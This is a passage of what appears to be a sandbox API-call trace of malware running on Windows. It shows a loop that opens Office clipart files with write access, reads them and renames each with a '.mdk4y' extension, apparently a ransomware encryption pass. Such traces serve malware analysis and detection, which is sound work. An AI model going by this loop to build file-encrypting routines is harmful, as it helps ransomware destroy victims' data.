lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.mdk4y")) returned 1 [0155.982] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0155.982] AreFileApisANSI () returned 1 [0155.982] GetACP () returned 0x4e4 [0155.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0178639.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0178639.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0155.982] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0155.983] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823121300000) returned 1 [0155.983] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7d26, lpOverlapped=0x0) returned 1 [0155.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823122100000) returned 1 [0155.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823122100000) returned 1 [0155.992] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.mdk4y")) returned 1 [0155.992] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0155.992] AreFileApisANSI () returned 1 [0155.992] GetACP () returned 0x4e4 [0155.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0178932.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0178932.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0155.992] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0155.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823122300000) returned 1 [0155.993] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8a0c, lpOverlapped=0x0) returned 1 [0155.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823122400000) returned 1 [0155.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823122400000) returned 1 [0155.995] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.mdk4y")) returned 1 [0155.995] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0155.995] AreFileApisANSI () returned 1 [0155.995] GetACP () returned 0x4e4 [0155.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0179963.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0179963.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0155.995] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0155.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823122600000) returned 1 [0155.996] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7d6e, lpOverlapped=0x0) returned 1 [0156.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823129700000) returned 1 [0156.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823129800000) returned 1 [0156.068] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.mdk4y")) returned 1 [0156.069] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0156.069] AreFileApisANSI () returned 1 [0156.069] GetACP () returned 0x4e4 [0156.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0182689.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0182689.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0156.069] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0156.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823130000000) returned 1 [0156.070] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x40e7, lpOverlapped=0x0) returned 1 [0156.157] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823138700000) returned 1 [0156.157] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823138700000) returned 1 [0156.157] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.mdk4y")) returned 1 [0156.158] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0156.158] AreFileApisANSI () returned 1 [0156.158] GetACP () returned 0x4e4 [0156.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0182888.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0182888.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0156.158] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0156.159] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823138900000) returned 1 [0156.159] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5f48, lpOverlapped=0x0) returned 1 [0156.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823140100000) returned 1 [0156.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823140100000) returned 1 [0156.171] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.mdk4y")) returned 1 [0156.172] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0156.172] AreFileApisANSI () returned 1 [0156.172] GetACP () returned 0x4e4 [0156.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0182898.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0182898.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0156.172] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0156.173] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823140300000) returned 1 [0156.173] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3b2e, lpOverlapped=0x0) returned 1 [0156.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823140400000) returned 1 [0156.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823140400000) returned 1 [0156.174] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.mdk4y")) returned 1 [0156.175] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0156.175] AreFileApisANSI () returned 1 [0156.175] GetACP () returned 0x4e4 [0156.175] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0182902.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0182902.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0156.175] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0156.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823140500000) returned 1 [0156.175] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e8e, lpOverlapped=0x0) returned 1 [0156.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823140600000) returned 1 [0156.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823140600000) returned 1 [0156.176] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.mdk4y")) returned 1 [0156.177] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0156.177] AreFileApisANSI () returned 1 [0156.177] GetACP () returned 0x4e4 [0156.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0182946.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0182946.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0156.177] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0156.177] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823140700000) returned 1 [0156.177] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3ed2, lpOverlapped=0x0) returned 1 [0156.212] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823144200000) returned 1 [0156.212] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823144200000) returned 1 [0156.213] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.mdk4y")) returned 1 [0156.213] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0156.213] AreFileApisANSI () returned 1 [0156.213] GetACP () returned 0x4e4 [0156.213] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0183172.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0183172.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0156.214] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0156.214] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823144400000) returned 1 [0156.215] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x745c, lpOverlapped=0x0) returned 1 [0156.257] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823148700000) returned 1 [0156.257] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823148700000) returned 1 [0156.258] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.mdk4y")) returned 1 [0156.259] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0156.259] AreFileApisANSI () returned 1 [0156.259] GetACP () returned 0x4e4 [0156.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0183174.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0183174.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0156.259] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0156.260] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823149000000) returned 1 [0156.260] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6fd2, lpOverlapped=0x0) returned 1 [0156.262] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823149200000) returned 1 [0156.262] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823149200000) returned 1 [0156.262] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.mdk4y")) returned 1 [0156.263] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0156.263] AreFileApisANSI () returned 1 [0156.263] GetACP () returned 0x4e4 [0156.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0183198.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0183198.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0156.263] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0156.263] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823149300000) returned 1 [0156.263] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5f6e, lpOverlapped=0x0) returned 1 [0156.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823157200000) returned 1 [0156.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823157200000) returned 1 [0156.342] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.mdk4y")) returned 1 [0156.343] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0156.343] AreFileApisANSI () returned 1 [0156.343] GetACP () returned 0x4e4 [0156.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0183574.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0183574.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0156.343] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0156.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823157400000) returned 1 [0156.344] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4b4a, lpOverlapped=0x0) returned 1 [0156.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823179700000) returned 1 [0156.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823179700000) returned 1 [0156.568] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.mdk4y")) returned 1 [0156.569] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0156.569] AreFileApisANSI () returned 1 [0156.569] GetACP () returned 0x4e4 [0156.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185670.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185670.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0156.569] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0156.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823180000000) returned 1 [0156.570] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c88, lpOverlapped=0x0) returned 1 [0156.617] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823184700000) returned 1 [0156.617] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823184700000) returned 1 [0156.618] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.mdk4y")) returned 1 [0156.619] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0156.620] AreFileApisANSI () returned 1 [0156.620] GetACP () returned 0x4e4 [0156.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185774.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0185774.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0156.620] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0156.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823185100000) returned 1 [0156.621] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4e46, lpOverlapped=0x0) returned 1 [0156.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823210300000) returned 1 [0156.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823210300000) returned 1 [0156.873] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf.mdk4y")) returned 1 [0156.875] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0156.875] AreFileApisANSI () returned 1 [0156.875] GetACP () returned 0x4e4 [0156.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0185776.WMF", 